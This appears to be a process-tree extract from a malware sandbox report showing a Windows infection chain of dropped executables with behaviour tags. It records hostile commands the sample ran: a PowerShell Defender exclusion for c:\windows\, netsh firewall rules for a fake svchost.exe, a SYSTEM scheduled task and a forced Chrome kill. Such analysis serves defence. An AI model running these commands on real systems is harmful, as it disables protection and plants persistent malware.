                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:4948
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\AI5ftafepGliX5ldABjH59vW.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\AI5ftafepGliX5ldABjH59vW.exe"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        PID:1888
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\IneIPOvtfnqHjI9pKcWt_fD_.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\IneIPOvtfnqHjI9pKcWt_fD_.exe"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1884
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\7588572.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\7588572.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                            PID:2224
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\6471524.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\6471524.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:4804
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\1089356.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\1089356.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                            PID:5552
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\1913780.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\1913780.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                            PID:6116
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\7521750.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\7521750.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:5288
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                PID:5352
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\4923695.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\4923695.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:2900
                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\aOEQRTMCF_1pr3lPvRuXEuZZ.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\aOEQRTMCF_1pr3lPvRuXEuZZ.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                            PID:3728
                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\0kIIpNr3vib1BcxUA2ADYsHG.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\0kIIpNr3vib1BcxUA2ADYsHG.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:3252
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3252 -s 656
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:4428
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3252 -s 672
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:5040
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3252 -s 676
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:4148
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3252 -s 672
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              PID:1308
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3252 -s 1136
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:5080
                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\jQsJxAFyCj7A2iSTqF8IVqac.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\jQsJxAFyCj7A2iSTqF8IVqac.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                            PID:3220
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:6084
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                  PID:3292
                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\uHSn6tyzn2OtkjW_ceArMQHp.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\uHSn6tyzn2OtkjW_ceArMQHp.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                              PID:3156
                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\EU1K5LztDjYxyJyhFNoG5c6m.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\EU1K5LztDjYxyJyhFNoG5c6m.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                              PID:3912
                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                PID:5592
                                                                                                                                                                                                                              • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:5832
                                                                                                                                                                                                                                • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:5860
                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                    schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                    PID:4932
                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:4140
                                                                                                                                                                                                                                    • C:\Windows\System\svchost.exe
                                                                                                                                                                                                                                      "C:\Windows\System\svchost.exe" formal
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                      PID:5812
                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                        PID:1308
                                                                                                                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:6456
                                                                                                                                                                                                                                        • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:6408
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\t1zbT7F6ho8pK9DxJ_ZMKUZt.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\t1zbT7F6ho8pK9DxJ_ZMKUZt.exe"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                        PID:3440
                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\t1zbT7F6ho8pK9DxJ_ZMKUZt.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\t1zbT7F6ho8pK9DxJ_ZMKUZt.exe"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          PID:5488
                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\t1zbT7F6ho8pK9DxJ_ZMKUZt.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\t1zbT7F6ho8pK9DxJ_ZMKUZt.exe"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          PID:1884
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\VmHUE254iBswkqEX_hCwR5Sn.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\VmHUE254iBswkqEX_hCwR5Sn.exe"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                        PID:5012
                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\VmHUE254iBswkqEX_hCwR5Sn.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\VmHUE254iBswkqEX_hCwR5Sn.exe"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          PID:1204
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\lk9TeZAY_Apz6aU50Tt1MYe9.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\lk9TeZAY_Apz6aU50Tt1MYe9.exe"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                        PID:5968
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                          PID:5616
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                            PID:8064
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1b0,0x1ac,0x1a8,0x1ec,0x1a4,0x7ffa3f7fdec0,0x7ffa3f7fded0,0x7ffa3f7fdee0
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                PID:156
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff7f68c9e70,0x7ff7f68c9e80,0x7ff7f68c9e90
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:7140
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=2036 /prefetch:8
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                    PID:8660
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=2020 /prefetch:8
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:8652
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1956 /prefetch:2
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:8644
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2708 /prefetch:1
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                          PID:8712
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2772 /prefetch:1
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:8784
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=3300 /prefetch:8
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                              PID:8004
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1952 /prefetch:2
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:8364
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=2864 /prefetch:8
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                  PID:8368
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=3540 /prefetch:8
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:7888
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=3688 /prefetch:8
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:3096
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1920,223754451090098882,8159441645968128000,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8064_827075088" --mojo-platform-channel-handle=1924 /prefetch:8
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:4572
                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\YiW1E9BSe62S3JPn1dynmFHj.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\YiW1E9BSe62S3JPn1dynmFHj.exe"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:1280
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-22EAP.tmp\YiW1E9BSe62S3JPn1dynmFHj.tmp
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-22EAP.tmp\YiW1E9BSe62S3JPn1dynmFHj.tmp" /SL5="$602B2,506127,422400,C:\Users\Admin\Pictures\Adobe Films\YiW1E9BSe62S3JPn1dynmFHj.exe"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                    PID:5988
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-K449P.tmp\DYbALA.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-K449P.tmp\DYbALA.exe" /S /UID=2710
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                      • Drops file in Drivers directory
                                                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                      PID:2220
                                                                                                                                                                                                                                                                      • C:\Program Files\Windows Portable Devices\GNMDFYWTKP\foldershare.exe
                                                                                                                                                                                                                                                                        "C:\Program Files\Windows Portable Devices\GNMDFYWTKP\foldershare.exe" /VERYSILENT
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:5444
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\d2-54c73-7c4-0e093-ad07b2ce5af6b\Pylagefibe.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\d2-54c73-7c4-0e093-ad07b2ce5af6b\Pylagefibe.exe"
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:3200
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\6e-d66d0-60e-fcea9-59d57be1fc104\Gibaredupo.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\6e-d66d0-60e-fcea9-59d57be1fc104\Gibaredupo.exe"
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:6936
                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ekg3qk10.tcj\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5764
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ekg3qk10.tcj\GcleanerEU.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\ekg3qk10.tcj\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                      PID:6408
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bketsnkj.0mq\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                    PID:6032
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\bketsnkj.0mq\installer.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\bketsnkj.0mq\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                        PID:6060
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iwouz53d.4qm\any.exe & exit
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                        PID:7460
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\iwouz53d.4qm\any.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\iwouz53d.4qm\any.exe
                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                            PID:6452
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x2lcdyoj.oio\gcleaner.exe /mixfive & exit
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:4676
